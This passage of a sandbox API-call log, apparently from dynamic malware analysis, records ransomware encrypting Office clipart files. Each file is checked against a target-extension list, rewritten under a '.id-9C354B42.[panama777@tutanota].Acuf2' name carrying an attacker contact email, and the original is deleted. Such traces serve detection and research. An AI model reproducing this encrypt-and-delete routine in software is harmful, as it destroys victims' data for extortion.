	[0265.218] lstrlenW (lpString=".doc") returned 4
	[0265.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.218] lstrlenW (lpString=".docx") returned 5
	[0265.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.219] lstrlenW (lpString=".pdf") returned 4
	[0265.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.219] lstrlenW (lpString=".xls") returned 4
	[0265.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.219] lstrlenW (lpString=".xlsx") returned 5
	[0265.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.219] lstrlenW (lpString=".ppt") returned 4
	[0265.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63
	[0265.219] lstrlenW (lpString=".zip") returned 4
	[0265.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.219] lstrlenW (lpString=".rar") returned 4
	[0265.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.219] lstrlenW (lpString=".bz2") returned 4
	[0265.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.219] lstrlenW (lpString=".7z") returned 3
	[0265.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63
	[0265.219] lstrlenW (lpString=".dbf") returned 4
	[0265.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63
	[0265.219] lstrlenW (lpString=".1cd") returned 4
	[0265.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63
	[0265.219] lstrlenW (lpString=".jpg") returned 4
	[0265.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.228] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.229] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0265.229] GetLastError () returned 0x0
	[0265.229] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x332, lpOverlapped=0x0) returned 1
	[0265.230] WriteFile (in: hFile=0x354, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x340, lpOverlapped=0x0) returned 1
	[0265.231] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.231] WriteFile (in: hFile=0x354, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.231] SetEndOfFile (hFile=0x354) returned 1
	[0265.231] CloseHandle (hObject=0x354) returned 1
	[0265.231] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.231] SetEndOfFile (hFile=0x328) returned 1
	[0265.233] CloseHandle (hObject=0x328) returned 1
	[0265.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 1
	[0265.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63
	[0265.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63
	[0265.234] lstrlenW (lpString=".doc") returned 4
	[0265.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.234] lstrlenW (lpString=".docx") returned 5
	[0265.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.234] lstrlenW (lpString=".pdf") returned 4
	[0265.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.234] lstrlenW (lpString=".xls") returned 4
	[0265.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.234] lstrlenW (lpString=".xlsx") returned 5
	[0265.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.234] lstrlenW (lpString=".ppt") returned 4
	[0265.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63
	[0265.234] lstrlenW (lpString=".zip") returned 4
	[0265.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.234] lstrlenW (lpString=".rar") returned 4
	[0265.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.234] lstrlenW (lpString=".bz2") returned 4
	[0265.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.234] lstrlenW (lpString=".7z") returned 3
	[0265.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63
	[0265.235] lstrlenW (lpString=".dbf") returned 4
	[0265.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63
	[0265.235] lstrlenW (lpString=".1cd") returned 4
	[0265.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63
	[0265.235] lstrlenW (lpString=".jpg") returned 4
	[0265.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.235] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=14688) returned 1
	[0265.235] CloseHandle (hObject=0x328) returned 1
	[0265.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x20
	[0265.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0265.236] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.236] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0265.236] GetLastError () returned 0x0
	[0265.236] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x3960, lpOverlapped=0x0) returned 1
	[0265.238] WriteFile (in: hFile=0x354, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3970, lpOverlapped=0x0) returned 1
	[0265.239] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.239] WriteFile (in: hFile=0x354, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.239] SetEndOfFile (hFile=0x354) returned 1
	[0265.239] CloseHandle (hObject=0x354) returned 1
	[0265.239] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.239] SetEndOfFile (hFile=0x328) returned 1
	[0265.241] CloseHandle (hObject=0x328) returned 1
	[0265.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 1
	[0265.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63
	[0265.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63
	[0265.241] lstrlenW (lpString=".doc") returned 4
	[0265.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.242] lstrlenW (lpString=".docx") returned 5
	[0265.242] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.242] lstrlenW (lpString=".pdf") returned 4
	[0265.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.242] lstrlenW (lpString=".xls") returned 4
	[0265.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.242] lstrlenW (lpString=".xlsx") returned 5
	[0265.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.242] lstrlenW (lpString=".ppt") returned 4
	[0265.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63
	[0265.242] lstrlenW (lpString=".zip") returned 4
	[0265.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.242] lstrlenW (lpString=".rar") returned 4
	[0265.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.242] lstrlenW (lpString=".bz2") returned 4
	[0265.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.242] lstrlenW (lpString=".7z") returned 3
	[0265.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63
	[0265.242] lstrlenW (lpString=".dbf") returned 4
	[0265.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63
	[0265.242] lstrlenW (lpString=".1cd") returned 4
	[0265.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63
	[0265.242] lstrlenW (lpString=".jpg") returned 4
	[0265.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.243] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=13538) returned 1
	[0265.243] CloseHandle (hObject=0x328) returned 1
	[0265.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x20
	[0265.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0265.243] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.243] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0265.243] GetLastError () returned 0x0
	[0265.243] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x34e2, lpOverlapped=0x0) returned 1
	[0265.245] WriteFile (in: hFile=0x354, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x34f0, lpOverlapped=0x0) returned 1
	[0265.246] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.246] WriteFile (in: hFile=0x354, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.246] SetEndOfFile (hFile=0x354) returned 1
	[0265.246] CloseHandle (hObject=0x354) returned 1
	[0265.246] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.246] SetEndOfFile (hFile=0x328) returned 1
	[0265.431] CloseHandle (hObject=0x328) returned 1
	[0265.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 1
	[0265.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63
	[0265.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63
	[0265.436] lstrlenW (lpString=".doc") returned 4
	[0265.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.436] lstrlenW (lpString=".docx") returned 5
	[0265.436] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.436] lstrlenW (lpString=".pdf") returned 4
	[0265.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.437] lstrlenW (lpString=".xls") returned 4
	[0265.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.437] lstrlenW (lpString=".xlsx") returned 5
	[0265.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.437] lstrlenW (lpString=".ppt") returned 4
	[0265.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63
	[0265.437] lstrlenW (lpString=".zip") returned 4
	[0265.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.437] lstrlenW (lpString=".rar") returned 4
	[0265.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.437] lstrlenW (lpString=".bz2") returned 4
	[0265.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.437] lstrlenW (lpString=".7z") returned 3
	[0265.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63
	[0265.437] lstrlenW (lpString=".dbf") returned 4
	[0265.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63
	[0265.437] lstrlenW (lpString=".1cd") returned 4
	[0265.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63
	[0265.437] lstrlenW (lpString=".jpg") returned 4
	[0265.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.440] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.441] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.441] GetLastError () returned 0x0
	[0265.442] ReadFile (in: hFile=0x344, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2994, lpOverlapped=0x0) returned 1
	[0265.443] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x29a0, lpOverlapped=0x0) returned 1
	[0265.444] ReadFile (in: hFile=0x344, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.444] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.444] SetEndOfFile (hFile=0x35c) returned 1
	[0265.444] CloseHandle (hObject=0x35c) returned 1
	[0265.444] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.444] SetEndOfFile (hFile=0x344) returned 1
	[0265.446] CloseHandle (hObject=0x344) returned 1
	[0265.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 1
	[0265.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63
	[0265.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63
	[0265.447] lstrlenW (lpString=".doc") returned 4
	[0265.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.447] lstrlenW (lpString=".docx") returned 5
	[0265.447] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.447] lstrlenW (lpString=".pdf") returned 4
	[0265.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.447] lstrlenW (lpString=".xls") returned 4
	[0265.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.447] lstrlenW (lpString=".xlsx") returned 5
	[0265.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.447] lstrlenW (lpString=".ppt") returned 4
	[0265.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63
	[0265.447] lstrlenW (lpString=".zip") returned 4
	[0265.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.447] lstrlenW (lpString=".rar") returned 4
	[0265.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.447] lstrlenW (lpString=".bz2") returned 4
	[0265.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.447] lstrlenW (lpString=".7z") returned 3
	[0265.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63
	[0265.448] lstrlenW (lpString=".dbf") returned 4
	[0265.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63
	[0265.448] lstrlenW (lpString=".1cd") returned 4
	[0265.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63
	[0265.448] lstrlenW (lpString=".jpg") returned 4
	[0265.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.448] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2116) returned 1
	[0265.448] CloseHandle (hObject=0x344) returned 1
	[0265.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x20
	[0265.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0265.449] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.449] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.449] GetLastError () returned 0x0
	[0265.449] ReadFile (in: hFile=0x344, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x844, lpOverlapped=0x0) returned 1
	[0265.450] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x850, lpOverlapped=0x0) returned 1
